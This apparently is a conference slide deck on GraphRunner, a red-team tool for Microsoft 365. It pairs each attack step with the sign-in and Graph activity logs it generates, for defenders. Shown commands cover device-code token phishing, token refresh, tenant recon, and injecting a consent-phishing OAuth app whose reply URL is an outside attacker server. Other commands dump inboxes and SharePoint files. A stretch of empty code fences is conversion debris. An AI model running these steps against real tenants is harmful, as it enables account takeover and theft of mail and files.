Offense v Defense

Digging into GraphRunner and the Microsoft Cloud Logs You May Not Be Looking At But Probably Should

John Stoner and Dave Herrald, Google Cloud
#whoarewe (lesser known linux command)

John Stoner  
https://www.linkedin.com/in/johnastoner  
@stonerpsu

Dave Herrald  
https://www.linkedin.com/in/daveherrald  
@daveherrald
What If Adversaries…

Could refresh an access token to come and go as they pleased

Could create applications for their own use

Could point and click to harvest inboxes

As Defenders, how can we gain visibility into these actions?
Agenda

Brief Introduction of GraphRunner

Authentication / Tokens

Recon / Enumeration

Expanding our foothold

Accessing Office 365 resources
What Is GraphRunner?

PowerShell module created by Beau Bullock (@dafthack) & Steve Borosh (@424f424f) from Black Hills Information Security
- Built for red team engagements
- Post exploit focused - Need to gain an initial access token of some sort

Broken out into functions for different tasks
- Switches provide options and overall lowers the bar versus the PowerShell calls to the Graph API that were previously required

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules
GraphRunner Components

Authentication
Recon & Enumeration
Persistence
Pillage
Supplemental
GraphRunner (umbrella command)
Gaining Initial Access

Not the primary focus of GraphRunner

Authentication functions are often used to kickoff the process of obtaining tokens

Function to import an already acquired Access & Refresh Token is available

Once tokens are obtained, GraphRunner provides numerous PowerShell functions and a GUI
Authentication

Get-GraphTokens
- Authenticate to Microsoft Graph

Invoke-RefreshGraphTokens
- Use a refresh token to obtain new access tokens

Get-AzureAppTokens
- Complete OAuth flow as an app to obtain access tokens

Invoke-RefreshAzureAppTokens
- Use a refresh token and app credentials to refresh a token

Invoke-AutoTokenRefresh
- Refresh tokens at a defined interval
Tokens

Access Tokens (valid for 60-90 minutes) - Seems like closer to 140 minutes during GraphRunner testing

- Contains permissions for client; used for authorization
- A Golden SAML style attack exploited the signing key and allowed a user to craft their own access token

Refresh Tokens (24 hours for single page apps and 90 days for all other scenarios)

- “Refresh tokens replace themselves with a fresh token upon every use. The Microsoft identity platform doesn't revoke old refresh tokens when used to fetch new access tokens. Securely delete the old refresh token after acquiring a new one. Refresh tokens need to be stored safely like access tokens or application credentials.”

Get-GraphTokens

UserPasswordAuth
● Works with single factor

ExternalCall (default)
● Code Based Login
● https://login.microsoftonline.com/common/oauth2/deviceauth

Logging into with User/Password

PS C:\GraphRunner> Get-GraphTokens -UserPasswordAuth -browser Android -client Outlook -ClientID 27922004-5251-4030-b22d-91ecd9a37ea4
[*] Initiating the User/Password authentication flow
Enter username: mike.slayton@th7sz.onmicrosoft.com
Enter password: ****************

Decoded JWT payload:

```
https://sts.windows.net/e7fe4095-076f-410c-a07e-b6cd599b434/
178949869
178949869
0
8

Outlook Mobile
27922004-5251-4030-b22d-91ecd9a37ea4
```

```
Decoded JWT payload:

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```

```
```
MFA Users

Logged in via MFA

Entra ID

Request a token
15 minute clock starts and prompt to login to Microsoft site with 9 character code

Access Token provided to adversary

Craft a site/link with the code

Provide site/link surreptitiously to the user

Two ways to sign in

Scan QR Code

Visit Website

Sign in at https://pixauth.tv and enter this code when prompted

JF8R-MV96

Code expires in 09:26

Get New Code
User Experience

PS C:\GraphRunner> Get-GraphTokens -device iphone
[*] It looks like you already tokens set in your $tokens variable. Are you sure you want to authenticate again?

[*] Initiating device code login... To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B75MQA42A to authenticate.

[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example: Invoke-DumpApps -Tokens $tokens)

[!] Your access token is set to expire on: 02/15/2024 23:20:17
View of the Interactive Sign-in To GraphRunner System

Notice the User Agent isn’t an iPhone UA

50199: For security reasons, user confirmation is required for this request. Please repeat the request allowing user interaction.

CMSI - Check my sign-in
### View of the Interactive Sign-in (Victim & GraphRunner)

<table>
<thead>
<tr>
<th>TIMESTAMP</th>
<th>EVENT</th>
<th>NETWORK.HTTP.USER_AGENT</th>
<th>NETWORK.SESSION_ID</th>
<th>ABOUT.LABELS_VALUE</th>
<th>SECURITY_RESULT_ASYNCH</th>
<th>SECURITY_RESULT_ACTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-02-09T17:39:04.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>ALLOW</td>
</tr>
<tr>
<td>2024-02-09T17:38:48.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>BLOCK</td>
</tr>
<tr>
<td>2024-02-09T17:11:49.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>ALLOW</td>
</tr>
<tr>
<td>2024-02-09T17:11:42.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>ALLOW</td>
</tr>
<tr>
<td>2024-02-09T17:11:33.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>ALLOW</td>
</tr>
<tr>
<td>2024-02-09T17:11:33.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>ALLOW</td>
</tr>
<tr>
<td>2024-02-09T17:11:25.000</td>
<td>USER LOGIN</td>
<td>[Unknown]</td>
<td>[Unknown]</td>
<td>notification_type_oid: 2</td>
<td>[Unknown]</td>
<td>ALLOW</td>
</tr>
<tr>
<td>2024-02-09T17:11:04.000</td>
<td>USER LOGIN</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</td>
<td>21af4ed4-192a-437b-ae82-ede1666d8713</td>
<td>error_number RequestType: 0</td>
<td>[Unknown]</td>
<td>BLOCK</td>
</tr>
</tbody>
</table>

**Note:** The table shows a sample of events captured during the interactive sign-in process. Each row represents a different event with details such as the timestamp, event type, network user agent information, network session ID, and security result actions.
Forged User Agent Option

Options to set Browser and Device results in an Invoke-ForgeUserAgent PowerShell script to run

- Device iPhone - Browser Chrome

Found in additional functions besides Get-GraphTokens

- Invoke-RefreshGraphTokens
- Invoke-RefreshToSharePointToken
- Invoke-ImmersiveFileReader
- Invoke-BruteClientIDAccess
Non-Interactive Sign-ins

Token refresh fit this bucket

Office 365 and Azure AD sign-in events do not log this kind of log-in

Impacts all 3P logging solutions
Gaining Visibility Into Non-Interactive Logins

Pertains to many SIEMs - non-exhaustive research

- Your mileage may vary on the last mile
Interesting Difference

UserPasswordAuth had no non-interactive user sign-in events after the interactive login.

ExternalCall created a non-interactive user sign-in about two minutes after login:
- User Agent now aligns with GraphRunner command issued
- No Session ID in Log Stream
- Application is the app we logged into
Invoke-RefreshGraphToken

When the access token expires, we can use the refresh token

Error fetching user information: {
  "error": {
    "code": "InvalidAuthenticationToken",
    "message": "Lifetime validation failed, the token is expired.",
    "innerError": {
      "date": "2024-01-29T20:36:11",
      "request-id": "913e1a80-04e3-437d-81ad-77f00ae96439",
    }
  }
}
Revoking Refresh Tokens

“You can’t configure the lifetime of a refresh token” - Microsoft

Modify conditional access policies to set time when user must sign-in again

Token Protection for Sign-In Sessions (Preview) - Sits on top of CAP

With our token, where can we go from here?
Recon & Enumeration

Invoke-GraphRecon
- Performs general recon for org info, user settings, directory sync settings

Invoke-DumpCAPS

Invoke-DumpApps

Get-AzureADUsers

Get-SecurityGroups

Get-UpdatableGroups
- Gets groups that may be able to be modified by the current user (estimated access)

Get-DynamicGroups
- Finds dynamic groups and displays membership rules

Get-SharePointSiteURLs

Invoke-GraphOpenInboxFinder
- Checks each user’s inbox in a list to see if they are readable

Get-TenantID
Office 365 and Azure AD Audit
Do Not Log Any of this Activity
Microsoft Graph Activity Logs (Preview)

Starts to address the gap in visibility that exists when it comes to recon activity.

What Can We See?

- IP Address
- UserAgent string
- User/Service Principal GUID
- Location
- Scope/Role of the Requestor
- Request URI
- Tenant/Application GUID

**Event Viewer**

*UDM Fields*

- extensions.auth.auth_details: "Public Client"
- extensions.auth.type: "MACHINE"
- metadata.base_labels.allowScopedAccess: true
- metadata.base_labels.log_types[0]: "MICROSOFT_GRAPH_ACTIVITY_LOGS"
- metadata.eventTimestamp: "2024-01-31T17:28:19.247140700Z"
- metadata.eventType: "STATUS_UPDATE"
- metadata.id: b"AAAAAMverk0gKPrm7sGEEeGW5qEAAAAABgAAAAAAA=
- metadata.logType: "MICROSOFT_GRAPH_ACTIVITY_LOGS"
- metadata.productEventType: "Microsoft Graph Activity"
- metadata.productName: "Graph API Activity"
- metadata.vendorName: "Microsoft"

**Network Fields**

- network.http.method: "GET"
- network.http.responseCode: 403
- network.http.userAgent: "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.14393; en-US) PowerShell/7.3.0"
- network.sentBytes: 101
- network.sessionId: "KHUrIqy3uO-Y52sOWQyQAA"
- principal.ip[0]: "34.152.40.96"

**Principal Labels**

- principal.labels[0].key: "scopes"
- principal.labels[0].value: "AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite"
Invoke-GraphRecon

Contact info for tenant

Directory Sync Settings - ADFS for example

User Settings

Service Parameters

Authorization Policy

Permission Enum flag - Allowed Actions and Conditional Access for the current user

APIs Called

- `graph.microsoft.com/beta/policies/authorizationPolicy`
- `graph.microsoft.com/v1.0/me` - Permission Enum Flag
- `graph.microsoft.com/beta/roleManagement/directory/estimateAccess` - Batched

User Settings

Self-Service Password Reset Enabled: true
Users Can Consent to Apps: true
Users Can Create Apps: true
Users Can Create Groups: true

Authorization Policy Info

- Allowed to create app registrations (Default User Role Permissions): True
- Allowed to create security groups (Default User Role Permissions): True
- Allowed to create tenants (Default User Role Permissions): True
- Allowed to read Bitlocker keys for own device (Default User Role Permissions): True
- Allowed to read other users (Default User Role Permissions): True
- Who can invite external users to the organization: everyone
- Users can sign up for email based subscriptions: True
- Users can use the Self-Serve Password Reset: True
- Users can join the tenant by email validation: True
- Users can consent to risky apps: True
- Block MSOL PowerShell: False
- Guest User Policy: Guest users have limited access to properties and memberships of directory objects

[*] Now enumerating individual permissions for the current user

[Allowed Actions]:
- Read role assignments assigned to service principals: allowed
- Read standard properties of application policies: allowed
- Read the memberOf property on Security groups and Microsoft 365 groups, including role-assignable groups: allowed
- Read manager of users: allowed
- Read application policies applied to objects list: allowed
- Read basic properties on domains: allowed
- Read basic properties on users: allowed
- Read the group membership for all contacts in Microsoft Entra ID: allowed
- Read standard properties of authentication methods for users: allowed
- Read basic properties on subscriptions: allowed
- Read owners of Security groups and Microsoft 365 groups, including role-assignable groups: allowed
- Read owned objects of users: allowed
- Read basic properties of custom rules that define network locations: allowed
- Create new tenants in Microsoft Entra ID: allowed
- Read owners of policies: allowed
- Read the direct reports for users: allowed
- Read owned objects of service principals: allowed
- Update authentication methods for users: allowed
- Update User Principal Name of users: allowed
- Invite Guest Users: allowed
- Force sign-out by invalidating user refresh tokens: allowed
Get-AzureADUsers/Get-SecurityGroups

Enumerate all Azure AD Users and write to a file

- graph.microsoft.com/v1.0/users

Enumerate all security groups and members to csv file

- https://graph.microsoft.com/v1.0/groups/0a755df6-3015-4956-9bf8-cc5ea5b65596/members
- https://graph.microsoft.com/v1.0/groups/08a4dba-bddd-4fac-a502-64c2dac197d2/members
- https://graph.microsoft.com/v1.0/groups/0719ab31-b722-4787-97d0-19b57550cf5d/members
- https://graph.microsoft.com/v1.0/groups?securityEnabled%20eq%20true
Invoke-GraphOpenInboxFinder

Find user’s inboxes that are readable by the current user

Mailbox misconfiguration (or for business need) to allow others to read their mail items

PS C:\GraphRunner> Invoke-GraphOpenInboxFinder -Tokens $tokens -userlist .\userlist0131.txt

[*] Note: To read other user’s mailboxes your token needs to be scoped to the Mail.Read.Shared or Mail.ReadWrite.Shared permissions.

[*] Checking access to mailboxes for each email address...

[*] SUCCESS! Inbox of mike.slayton@th7sz.onmicrosoft.com is readable.
Reconnaissance Commentary

Graph API Activity Logging Provides is Super helpful! **Mandatory?**
- ~300 log lines for a small network of 20-ish users in 10 minutes just running recon functions
- Will need to instrument to get the most out of this
- All recon commands have a user agent of the console they ran in

Estimate Access API - submit an action and find out if you can perform it
- Undocumented API
- Seen when using Azure Portal for admin functions
- Something to continue to poke at
Persistence

Invoke-AddGroupMember
- Adds a user to a group

Invoke-SecurityGroupCloner
- Clones a security group using an identical name and member list
- Option to inject another user in new group

Invoke-InviteGuest
- Invites a guest user to the tenant

Invoke-InjectOAuthApp
- Injects an app registration into the tenant
Invoke-InjectOAuthApp

Creates a new application with permissions that a user can log into

Used as a stepping stone

Requires some social engineering

- User needs to provide consent
- Allows interception of an OAuth code
- Cashed in for an application token (access token and refresh token) specific to the application
High Level Flow of App Injection

1. Create Application with a set of permissions and a Reply URL (web server)

2. Web Server (will handle redirect from GraphRunner)

3. AutoOAuthFlow.py Specify application id, secret, URL and scope (permissions)

4. Send URL to User

5. Redirect to Sign-In to Entra ID Prompt to Accept Application/Permission Scope

6. AuthCode is sent to web server

7. Get-AzureAppTokens

Unsuspecting User

Invoke.InjectOAuthApp

Entra ID

Get-AzureAppTokens

Invoke.InjectOAuthApp Create Application with a set of permissions and a Reply URL (web server)
Invoke-InjectOAuthApp -AppName "FinanceEval" -ReplyUrl "https://34.118.49:8086" -scope "op backdoor" -Tokens $tokens

[*] Using the provided access tokens.
[*] Getting Microsoft Graph Object ID

Graph ID: 00000003-0000-0000-0000-000000000000
Internal Graph ID: 89f8356-f036f-4e09-a27-097bd859a9f8

[*] Now getting object IDs for scope objects:

[*] One overpowered (OP) backdoor is coming right up! Here is the scope:


openoid: "37f77235-527c-4136-acc5-14dad68e-099b-42c9-81f0"
offline_access: "7427e0e9-2fba-4f3a"
email: "64a6ecde-ab1b-4aaf-9cbb-
User.Read: "e1fe8d8e-8ba3-4d61-8
User.ReadBasicAll: "b340eb2b-34
Mail.Read: "5702bf22-4fa3-40d3-a
Mail.Send: "e38bf346e-2877-4592-
Mail.ReadShared: "7b9183a5-4d18-

Application ID: 5d4a49c6-d2a5-4992-98a6-d7ca09adc35c
Object ID: 98c9ca9f-c831-4eee-bdd8-b86e04bee695
Secret: ZM8HQ~gXSiiooBJSHC744~PmA.8qjIy2NvuBaQM

[*] If everything worked successfully this is the consent URL you can use to grant consent to the app:


[*] After you obtain an OAuth Code from the redirect URI server you can use this command to complete the flow:

Get-AzureAppTokens -ClientId "5d4a49ce-da25-4992-98a6-d7ca09adc35c" -ClientSecret "ZM8HQ-gXSiiooBJSHC744~PmA.8qjIy2NvuBaQM" -RedirectUri "https://34.118.176.49:8080" -scope "op backdoor"

[*] Finished collecting object IDs of permissions.
[*] Now deploying the app registration with display name FinanceEval to the tenant.
Permission Scope Requested

Consent on behalf of your organization

If you accept, this app will get access to the specified resources for all users in your organization. No one else will be prompted to review these permissions.
App Injection - Visibility

Invoke-InjectOAuthApp
Create Application with a set of permissions and a Reply URL (web server)

<table>
<thead>
<tr>
<th>METADATA_EVENT_TIMESTAMP</th>
<th>METADATA_PRODUCT_EVENT_TYPE</th>
<th>PRINCIPAL_USER_USERID</th>
<th>TARGET_USER_USERID</th>
<th>TARGET_URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-02-03T18:55:59.328</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/applications/8b83ca9f-f831-4e6e-bd6b-b86d4be9195/addPassword">https://graph.microsoft.com/v1.0/applications/8b83ca9f-f831-4e6e-bd6b-b86d4be9195/addPassword</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:59.000</td>
<td>Update application.</td>
<td><a href="mailto:mike.slaton@th7ts.onmicrosoft.com">mike.slaton@th7ts.onmicrosoft.com</a></td>
<td>[n/a]</td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:55:59.000</td>
<td>Update application - Certificates en…</td>
<td><a href="mailto:mike.slaton@th7ts.onmicrosoft.com">mike.slaton@th7ts.onmicrosoft.com</a></td>
<td>[n/a]</td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:55:58.741</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/applications">https://graph.microsoft.com/v1.0/applications</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:58.000</td>
<td>Add owner to application.</td>
<td><a href="mailto:mike.slaton@th7ts.onmicrosoft.com">mike.slaton@th7ts.onmicrosoft.com</a></td>
<td><a href="mailto:mike.slaton@th7ts.onmicrosoft.com">mike.slaton@th7ts.onmicrosoft.com</a></td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:55:58.000</td>
<td>Add application.</td>
<td><a href="mailto:mike.slaton@th7ts.onmicrosoft.com">mike.slaton@th7ts.onmicrosoft.com</a></td>
<td>[n/a]</td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:55:56.873</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/servicePrincipals/b9fa45ca-83df-49eb-a027-d77bd88f3a9f9/">https://graph.microsoft.com/v1.0/servicePrincipals/b9fa45ca-83df-49eb-a027-d77bd88f3a9f9/</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:56.691</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/">https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:56.499</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/">https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:56.127</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/">https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:56.706</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/">https://graph.microsoft.com/v1.0/servicePrincipals/56f0e0c9-133e-4ee0-b8f0-b86d4be9195/</a></td>
</tr>
<tr>
<td>2024-02-03T18:55:52.932</td>
<td>Microsoft Graph Activity</td>
<td>2f3d09fc-1952-445f-964-4e9428f3a252</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/servicePrincipals">https://graph.microsoft.com/v1.0/servicePrincipals</a></td>
</tr>
</tbody>
</table>
# App Injection - Visibility

## Entra ID

**Visibility**
- **Create Application with Scope/Permissions**

## Unsuspecting User
- **Redirect to Sign-In to Entra ID**
- **Prompt to Accept Application/Permission Scope**

## Table

<table>
<thead>
<tr>
<th>EVENT_TIMESTAMP</th>
<th>PRODUCT_EVENT_TYPE</th>
<th>USERID</th>
<th>USERID</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-02-03T18:57:58.301</td>
<td>Microsoft Graph Activity</td>
<td>0784e041-78f8-41c9-8488-38b2e872d45</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/identity4095-0">https://graph.microsoft.com/v1.0/identity4095-0</a>...</td>
</tr>
<tr>
<td>2024-02-03T18:57:47.534</td>
<td>Microsoft Graph Activity</td>
<td>0784e041-78f8-41c9-8488-38b2e872d45</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/users/tim.s">https://graph.microsoft.com/v1.0/users/tim.s</a>...</td>
</tr>
<tr>
<td>2024-02-03T18:57:44.117</td>
<td>Microsoft Graph Activity</td>
<td>58a24a0-4e2e-4e2e-58a24a0-4e2e-4e2e-58a24a0</td>
<td>[n/a]</td>
<td><a href="https://graph.microsoft.com/v1.0/users/delta">https://graph.microsoft.com/v1.0/users/delta</a>...</td>
</tr>
<tr>
<td>2024-02-03T18:57:36.000</td>
<td>UserLoggedin</td>
<td>[n/a]</td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:57:36.000</td>
<td>Add app role assignment grant to user.</td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:57:36.000</td>
<td>Add service principal.</td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td>[n/a]</td>
<td>5d5a9cda-6a9e-4992-98a6-d7ca696d935c</td>
</tr>
<tr>
<td>2024-02-03T18:57:36.000</td>
<td>Add delegated permission grant.</td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td>[n/a]</td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:57:36.000</td>
<td>Consent to application.</td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td>[n/a]</td>
<td>[n/a]</td>
</tr>
<tr>
<td>2024-02-03T18:57:27.000</td>
<td>UserLoginFailed</td>
<td>[n/a]</td>
<td><a href="mailto:tim.smith_admin@lunarstiliness.com">tim.smith_admin@lunarstiliness.com</a></td>
<td>[n/a]</td>
</tr>
</tbody>
</table>
App Injection - Visibility

Get-AzureAppTokens

EVENT VIEWER

UDM FIELDS

- metadata.log_type: "AZURE_ACTIVITY"
- metadata.product_deployment_id: "e7fe9095-076f-410c-a07e-b5cd5991b43e"
- metadata.product_event_type: "Sign-in activity"
- metadata.product_name: "Azure Activity"
- metadata.vendor_name: "Microsoft"

- principal.ip[0]: "34.134.129.65"
- principal.location.city: "Cleveland"
- principal.location.country_or_region: "US"
- principal.location.region_latitude: 41.65192
- principal.location.region_longitude: -85.86782
- principal.location.state: "Ohio"
- principal.platform: "Windows"
- principal.platform.version: "Windows10"
- principal.user.attribute.objectid: "1234"

- principal.user.email_addresses[0]: "tim.smith_admin@lunarstiffness.com"
- principal.user.userid: "Tim Smith (Admin)"

- security_result.action[0]: "ALLOW"
- security_result.category_details[0]: "NonInteractiveUserSignInsLogins"

- security_result[0].detection_fields[0].key: "correlationId"
- security_result[0].detection_fields[0].value: "$5C1576-3F46-4Ad9-869E-123C65618D10"
- security_result[0].severity: "INFORMATIONAL"

- target.application: "FinanceApp"
- target.cloud.environment: "MICROSOFT_AZURE"
Invoke-
RefreshAzureAppTokens

Requires Application Details

- Client (App) ID
- Secret
- Redirect URL
- Refresh Token
- Scope (optional)
$apptokens

Overview | Monitoring | Properties | Recommendations
--- | --- | --- | ---
0784ad41-78df-41c9-b488-38b2ee872d45

Users

TS Tim Smith (Admin)

Overview | Monitoring | Properties | Recommendations
--- | --- | --- | ---
5d4a49ce-da25-4992-98a6-d7ca09adc35c

Users

No results.

Devices

No results.

Enterprise applications

F FinanceEval

EVENT VIEWER

UDM FIELDS

- principal.user.userid: 0784ad41-78df-41c9-b488-38b2ee872d45
- target.resource.product.object.id: 5d4a49ce-da25-4992-98a6-d7ca09adc35c
Pillage

Invoke-SearchUserAttributes
  ● Search for terms across all user attributes in a directory

Get-Inbox

Invoke-SearchMailbox
  ● Perform keyword searches across a user’s mailbox
  ● Export messages

Invoke-SearchSharePointAndOneDrive
  ● Search across all SharePoint sites and OneDrive drives visible to the user

Get-TeamsChat
  ● Downloads full Teams chat conversations

Invoke-SearchTeams
  ● Can search all Teams messages in all channels that are readable by the current user

Invoke-ImmersiveFileReader
  ● Open restricted files with the immersive reader
  ● Text to speech for unmanaged files and restriction bypass
Get Email and Write It To a File

Get-Inbox -token $apptokens -userid tim.smith_admin@lunarstiiiness.com -TotalMessages 500 -OutFile ./timmail.txt
UI v API

UI will be the IP of the system; API will be a Microsoft address.

Session ID in the UI

Client Application ID in the API - Know which of your applications use API to access mail.
Invoke-SearchSharePointAndOneDrive

PS C:\GraphRunner> Invoke-SearchSharePointAndOneDrive -Tokens $apptokens -searchterm 'filetype:pdf'
[*] Using the provided access tokens.
[*] Found 10 matches for search term filetype:pdf
Result [0]
File Name: cloud-adoption-framework.pdf
Created Date: 07/07/2023 13:25:14
Last Modified Date: 11/12/2018 14:58:57
Size: 2.35 MB
File Preview: The Google Cloud Adoption Framework Table of Contents Part 1: Executive summary A unified approach to the cloud ...

[*] Do you want to download any of these files? (Yes/No)
[*] Enter the result number(s) of the file(s) that you want to download. Ex. "0,10,24" 50
Invoke-DriveFileDownload: C:\GraphRunner\GraphRunner.ps1:5191
Line 5191 | ... -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileNa ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[*] Do you want to download any more files? (Yes/No)
Invoke-DriveFileDownload
Supplemental

Invoke-DeleteOAuthApp
Invoke-DeleteGroup
Invoke-RemoveGroupMember
Invoke-DriveFileDownload
Invoke-CheckAccess
Invoke-AutoOAuthFlow
  ● Automates OAuth flow by standing up a web server and listening for auth code
Invoke-HTTPServer
  ● Basic web server to use for accessing the emailviewer that is output from Invoke-SearchMailbox
Invoke-BruteClientIDAccess
  ● Test different ClientID's against MSGraph to determine permissions
Invoke-ImportTokens
  ● Import tokens from other tools for use in GraphRunner
Get-UserObjectID
GUI

Replaces some of the PowerShell functions with a UI to work with

Potentially streamlines data collection
Finding the Right Signal to Noise Ratio

Tuning is needed for these data sources

Polling for log events will generate Graph API Activity logs

Legitimate API calls to MS Services will generate events as well


<table>
<thead>
<tr>
<th>Date/Time</th>
<th>Event Category</th>
<th>Activity Type</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-02-05T02:48:00.000</td>
<td>DETECTION</td>
<td>directoryAudits</td>
<td>4789</td>
</tr>
<tr>
<td>2024-02-05T02:48:00.000</td>
<td>DETECTION</td>
<td>signIns</td>
